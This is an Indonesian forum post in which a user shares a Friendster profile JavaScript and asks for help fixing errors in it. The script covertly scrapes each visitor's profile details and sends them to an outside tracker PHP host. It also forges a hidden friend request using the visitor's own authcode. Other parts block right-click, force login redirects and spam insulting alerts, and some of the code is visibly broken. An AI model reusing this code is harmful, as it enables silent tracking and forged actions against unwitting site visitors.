You are viewing a post by RcKZ. View all 1455 posts in :arrow: [b]Credits goes to all Friendstertalk Members who create these wonderful scripts[/b] [quote][color=red][b]PERHATIAN :[/b][/color] Bagi para FTI'ers yg linker JS dan CSS extensionnya masih be.
mohon di cek yah...
saia dah coba" mpe mumet,,,
tapi tetep ajah error setelah saia tambahin script bang kanal buat bro edo...
ini scriptnya yg saia bikin...
//cp element
var anna_datacp;
anna_datacp ="<li><span class=\"q\">Male, 2000 tahun sebelum Masehi, KompLit pake TeLur</span><br></li>"+
"<li><span class=\"q\">B'daY: </span>26 october<br></li>"+
"<li><span class=\"q\">Interested In: </span>Kauwand, Kauwand dan kauwand<br></li>"+
"<li><span class=\"q\">Member Since: </span>Lahir ke dunia<br></li>"+
"<li><span class=\"q\">Makanan Favorit: </span>Yang enak masuk mulut<br></li>"+
"<li><span class=\"q\">Hobby: </span>Hacking,Ngeband,Looking - Looking<br></li>"+
"<li><span class=\"q\">Home Town: </span>Soerabaia City<br></li>"+
"<li><span class=\"q\">Last Login: </span>9aQ terdu9a ?!?!<br></li>"+
"<li><span class=\"q\">Apa yah??: </span>Kamuwh,kamuwh dan kamuwh,,,ngapain liat profile orang klo g ada maksud?!?! makanya,drop testy dunk, jadi orang jng pelit, tar cepet koit, heheheheheh....<br></li>"+
"<li><span class=\"q\">Apa ini??: </span>Paragraph n Antiseptig<br></li>"+
"<li><span class=\"q\">Contact Person: </span>0856451898xx [RcKZ]<br></li>"+
"<li><span class=\"q\">Target??: </span>9o t0 IndiE LabeL ?!?!Hweheheheheh<br></li>"+
"<li><span class=\"q\">Made by: </span>RcKZ again<br></li>"+
"<li><span>My URL: </span><a style=\"font-weight: normal;\" href=\"/YOURUSERNAME\"> http://profiles.friendster.com/40520119</a><br/></li>";
document.getElementById("0").getElementsByTagName("ul")[1].innerHTML=anna_datacp;
if ( ! attachOnLoadHandler(function () { cHeaders();}))
window.onload = function () {cHeaders();};
function cHeaders()
{
var h;
//KONTROL PANEL
h=document.getElementById("controlpanel_header");
h.innerHTML="RcKZ aNeH @_@";
// PHOTO
h=document.getElementById("1").getElementsByTagName("h2")[0];
h.innerHTML="RcKZ PhoTO 9iLa";
//BLOGS
h=document.getElementById("13").getElementsByTagName("h2")[0];
h.innerHTML="BLo9s RcKZ y9 aNeh";
//REVIEW
h=document.getElementById("12").getElementsByTagName("h2")[0];
h.innerHTML="ReVieW NyaSar";
//MOREABOUT
h=document.getElementById("6").getElementsByTagName("h2")[0];
h.innerHTML="SeMwa TeNtan9 RcKZ";
//COMMENTS
h=document.getElementById("18").getElementsByTagName("h2")[0];
h.innerHTML="CoMmeNtZ bOeaT RcKZ";
//MEDIABOX
h=document.getElementById("10").getElementsByTagName("h2")[0];
h.innerHTML="YOUR TITLE NAME";
//FRIENDS
h=document.getElementById("2").getElementsByTagName("h2")[0];
h.innerHTML="YOUR TITLE NAME";
//FANOF
h=document.getElementById("7").getElementsByTagName("h2")[0];
h.innerHTML="YOUR TITLE NAME";
//GROUPS
h=document.getElementById("8").getElementsByTagName("h2")[0];
h.innerHTML="YOUR TITLE NAME";
}
window.onload = function ()
{all_in_one();
};
function all_in_one ()
{
hello();
};
function hello()
{
if(pageViewerID != ""){
alert("Hey Hey! "+pageViewerFName);
alert("Kamuwh "+pageViewerFName+" Pasti Cakep Or Cantikk Deh..");
alert("yach...Itu Kalau "+pageViewerFName+" mau kasih RcKZ Comment..");
alert("Meski SepataH Dua Kata ");
alert("Tetapi buat RcKZ iTu Ada Artinya");
alert("Gimana Mau Gak "+pageViewerFName+" Kasih Coment TenTang RcKZ...?!?!");
var ask=confirm("Mau yakz Manis...?!?!")
if(ask==true){
alert("Duh CakEp BaNget Sih KamU "+pageViewerFName+" Makasih Yach Mwachh!!");
window.location="http://www.friendster.com/comments.php?action=add&uid=40520119";
}
else if(ask==false){
alert("Haduh Jelek Lu Gw Sumpahin Ga LaKu Lu "+pageViewerFName+", Gw Sumpahin JOMBLO 7 keturunan Lu "+pageViewerFName+" Gr...dasar PeLit Lu!!!!");
alert("Haduh Jelek Lu "+pageViewerFName+" Gw Sumpahin Jatuh Cinta Sama RcKZ Lu..!!!!!!");
alert("Haduh Kurang Asem Jadi Orang PeLLit Amad Lu "+pageViewerFName+" Ga Mau kasih Coment Buat Orang Ganteng Gini!!!!!!");
}
}
}
function onProfileLoad() {
//onload handler
var mp3 ="<div align='center'><embed allowScriptAccess=\"never\" src=\"http://www.fileden.com/files/2007/8/7/1328353/val4.swf\" menu=\"false\" quality=\"high\" width=\"265px\" height=\"270px\" name=\"index\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" flashvars=\"playList=http://www.fileden.com/files/2007/8/7/1328353/nuedo.xml\" wmode=\"transparent\"/></embed><br /><a href=\"http://www.myspaceprodesigns.com\"></a></div></div>";
addBox("RIGHT",pageOwnerFName+"'s Flash MP3",mp3,"music",null);
var cbox="<div align='center' id='cboxdiv'>"+
"<iframe frameborder='0' width='100%' height='305' src='http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=main' marginheight='2' marginwidth='2' scrolling='auto' allowtransparency='yes' name='cboxmain' style='border:#DBE2ED 0px solid;' id='cboxmain'></iframe><br/>"+
"<iframe frameborder='0' width='100%' height='75' src='http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=form' marginheight='2' marginwidth='2' scrolling='no' allowtransparency='yes' name='cboxform' style='border:#DBE2ED 0px solid;border-top:0px' id='cboxform'></iframe>"+
"</div>";
addBox("RIGHT",pageOwnerFName+"'s Shoutbox",cbox,"cboxbox"null);
addBox("LEFT",pageOwnerFName+"'s Visitors",TRACKER.div.innerHTML,"tracker","0");
var credits="<center></br>WVMe Created by Marfillaster</br>"+
"Update/Fix by feruzz!</br>"+
"Edited by Ren Alvir</br>"+
"JS Linker Javanet Crew 10/25/07</br></br></center>";
addBox("RIGHT","Credits",credits,"credits", null);
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER = {
style: {
filter: "chroma(color='#FFFFFF')",
width: '300px',
height: '515px',
border: '0px'
},
attributes: {
frameborder: '0',
allowtransparency: 'true'
},
phplink: "http://h1.ripway.com/RcKZ/tracker/tracker.php",
exitmessage: "Goodbye "+pageViewerFName,
/*do not edit below this line*/
/*
WVMe v2.2 copyright 2007 friendster.com/mumbhaki
credits: marfillaster, feruzz, renalvir, friendstertalk.com, friendster.com
licensed under GNU General Public License, version 2 http://www.gnu.org/licenses/gpl.html
Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only.
Author will not be liable of ANY damage through the use of this program
*/
base_domain: "http://profiles.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null
},
regexp: {
photo: /imgblock200"[\S\s]+?img src="([\S\s]+?)"/i,
gender: />([\S]*male)/i,
age: /male, ([\d]*),/i,
status: /male, [\d]*, ([\S\s]*?)<\/span><\/li>/i,
location: /Location\: <\/span><a[\S\s]+?>([\S\s]+?)<\/a><\/li>/i,
seek: /In\: <\/span>([\S\s]+?)<\/li>/i,
since: /Since\: <\/span>([\S\s]+?)<\/li>/i
},
init: function() {
document.getElementById("navBg").innerHTML+="<iframe id=\"wvmtemp\" src=\"about:blank\" style=\"display:none\" />";
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
this.timedetails="oss="+sec+"&osh="+hr;
var ifsrc=this.phplink+"?"+this.timedetails;
var atr="";
var sty="";
for (val in this.attributes) {
atr += val +"="+ this.attributes[val]+" ";
}
for (val in this.style) {
sty += val +":"+ this.style[val]+";";
}
try {this.div=document.createElement("<div>")}
catch(e){this.div=document.createElement("div")}
this.div.innerHTML="<center><iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe><br /><input type=\"button\" class=\"reloadbutt\" value=\"Refresh Tracker\" onclick=\"Reload();\" style=\"margin: 3px;\"></center>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="")this.getDETAILS();
},
getDETAILS: function() {
processAjaxRequest("GET",this.base_domain+"/user.php?uid="+pageViewerID+"&_pmr=h&_pmmo=0&_pmt=controlpanel_1_1",true,null, "parseDETAILS",null);
},
sendExit: function() {
document.getElementById(this.iframeid).src=this.phplink+this.param+"&exit=1";
alert(this.exitmessage);
}
};
function parseDETAILS(htm) {
if(!htm) {
TRACKER.getDETAILS();
return;
}else {
for (val in TRACKER.details) {
try {
TRACKER.details[val]=encodeURIComponent(new RegExp(TRACKER.regexp[val]).exec(htm)[1]);
}
catch(e) {
TRACKER.details[val]="";
}
}
TRACKER.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.details.photo+"&gender="+TRACKER.details.gender+"&age="+TRACKER.details.age+"&status="+TRACKER.details.status+"&country="+TRACKER.details.location+"&seek="+TRACKER.details.seek+"&since="+TRACKER.details.since;
document.getElementById(TRACKER.iframeid).src=TRACKER.phplink+TRACKER.param;
}
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
TRACKER.init();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
/*END TRACKER OBJECT*/
/*MISC FUNCTIONS*/
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function processAjaxRequest(type,url,cont,param,handler,handlerparam) {
//by marfillaster
//type 'POST' | 'GET'
//cont 'true' | 'false'
//param string | null
//handler string | null
//handlerparam string |null
if(handlerparam) handlerparam=","+handlerparam;
else handlerparam="";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}");
httprequest.open( type, url, cont);
if(type=="POST") {
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", param.length);
httprequest.setRequestHeader("Connection", "close");
}
httprequest.send(param);
}
function addBox (type,head,htm,id,sibling) {
//by marfillaster
/* ---------------------------
Available siblings
left side (mainbar)
"0" = controlpanel
"1" = photos
"13" = blogs
"12" = reviews
"6" = moreabout
"18" = publiccomments
"10" = scrapbook
right side (sidebar)
"15" = meettrail
"2" = friends
"14" = ads
"7" = fan
"8" = groups
--------------------------- */
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else var ul=document.getElementById("2").parentNode.parentNode;
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
/*END MISC FUNCTIONS*/
//tracker refresher
function Reload () {
var f = document.getElementById('wvm');
f.src = f.src;
}
// main foto viewer
if (!attachOnLoadHandler(function() { mainVpic();})) window.onload = function() { mainVpic();};
function mainVpic() {
if(pageViewerID!="") SPAWNPIC.init();
}
if (typeof SPAWNPIC == "undefined") { SPAWNPIC = {}; }
SPAWNPIC = {
viewerphoto: [], type: "commonbox",
info: {
name: null, photo: null, status: null, since: null, location: null
},
regexp: {
name: /controlpanel_header">((.|\s)+?)<a\s*name="controlpanel/,
photo: /imgblock200"><a.*?>((.|\s)+?)<\/a><\/div>/,
status: /data">((.|\s)+?)<\/span><\/li>/,
since: /Since\:\s*<\/span>((.|\s)+?)<\/li>/,
location: /Location\:\s*<\/span>((.|\s)+?)<\/li>/
},
init: function() {
this.ajaxRequest("/user.php?uid="+pageViewerID,"SPAWNPIC.getRegExpDetails",null);
},
getForm: function() {
this.viewerphoto = "<table class'fitem1table'>"+
"<tr>"+
"<td class='itd'><a href='/" + pageViewerID + "' title=\"" + pageViewerFName + "\">" + this.info.photo + "</a>"+
"</td>" +
"<td class='dtd'>"+
"<ul class='data'>"+
"<div class='title'>" +
"<li>"+
"<a href='/" + pageViewerID + "'>" + this.info.name + "</a>"+
"<br />ID EfeZ Kamu: <a href='/" + pageViewerID + "'>" + pageViewerID + "</a>"+
this.info.status + "<br />TgL Terdaftar di EfeZ: " + this.info.since + "<br />TempaT KamuwH: " + this.info.location + "</li>"+
"</div>" +
"</ul>"+
"</td>"+
"</tr>"+
"</table>";
this.HTML("Di Cari FBI : "+this.info.name,this.viewerphoto,"spawnpic",/friends/i,"INSERTBEFORE");
},
ajaxRequest: function(url,ajaxfunc,handler) {
if(handler) handler = ","+handler;
else handler = "";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if(ajaxfunc) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+ajaxfunc+"(httprequest.responseText"+handler+");}}");
httprequest.open('GET', url, true);
httprequest.send(null);
},
getRegExpDetails: function(mypic) {
if (!mypic) {
alert("Viewer's Main Photo Error: Unable to parse your details!");
return;
}else {
for (val in this.info) {
try {
this.info[val] = new RegExp(this.regexp[val]).exec(mypic)[1].replace(/(\d)+?/i,"$1");
}catch(e) {
this.info[val] = "";
}
}
this.getForm();
}
},
HTML: function(header,code,id,sibling,insert) {
var ul = this.getModuleByClassName(sibling)[0].parentNode;
var li = document.createElement("LI");
if (header) {
li.innerHTML = "<div class='"+this.type+" "+id+"' id='"+id+"'>"+
"<h2>"+header+"</h2>"+
"<div id='content_"+id+"'>"+
"<div class='fitem1wrapper'>"+code+"</div>"+
"</div>"+
"</div>";
} else li.innerHTML = "<div class='"+this.type+" "+id+"' id='"+id+"'>"+code+"</div>";
if (!insert) ul.parentNode.appendChild(li);
else if (insert == "INSERTBEFORE") ul.parentNode.insertBefore(li,ul);
else if (insert == "APPEND") ul.appendChild(li);
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
},
ajaxRequest: function(xmlHttp,base_domain,ajaxfunc,handler) {
eval("var " + xmlHttp + "=window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject('Msxml2.XMLHTTP');");
eval(xmlHttp + ".onreadystatechange=function(){if(" + xmlHttp + ".readyState==4){" + handler + "=" + xmlHttp + ".responseText;" + ajaxfunc + "(" + handler + ")}}");
eval(xmlHttp + ".open('GET','" + base_domain + "',true);");
eval(xmlHttp + ".send(null);");
},
addContent: function(header,cont,id,sibling) {
this.box = document.getElementById(sibling).parentNode;
try {
this.obj = document.createElement("LI");
}catch(e) {
this.obj = document.createElement("<LI>");
}
this.obj.innerHTML = "<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+header+"</h2>" +
"<div id='content_"+id+"'>"+cont+"</div>"+
"</div>";
this.box.parentNode.insertBefore(this.obj,this.box);
}
};
// jangan klik kanan
var msg = "no right klik PrEndZ";
function clickIE4()
{if (event.button == 2)
{alert(msg);
return false;
}
}
function clickNS4(e)
{if (document.layers || document.getElementById && ! document.all)
{if (e.which == 2 || e.which == 3)
{alert(msg);
return false;
}
}
}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);
document.onmousedown = clickNS4;
}
else if (document.all && ! document.getElementById)
{document.onmousedown = clickIE4;
}
document.oncontextmenu = new Function("alert(msg);return false");
//force log in
if(pageViewerID==""){
alert("Login duLu EfeZ KmuWh boeat Lyat FuLL ProfiLE 9w yach !!!");
top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1";
}
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "[email protected]";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};
trus,,ini cbox saia...
<!-- BEGIN CBOX - www.cbox.ws -->
<div align="center" id="cboxdiv">
<iframe frameborder="0" width="160" height="305" src="http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=main" marginheight="2" marginwidth="2" scrolling="auto" allowtransparency="yes" name="cboxmain" style="border:#DBE2ED 1px solid;" id="cboxmain"></iframe><br/>
<iframe frameborder="0" width="160" height="75" src="http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=form" marginheight="2" marginwidth="2" scrolling="no" allowtransparency="yes" name="cboxform" style="border:#DBE2ED 1px solid;border-top:0px" id="cboxform"></iframe>
</div>
<!-- END CBOX -->
sebelumnya..makasih yah bang...
maap klo ngrepotin >.<
mumet @_@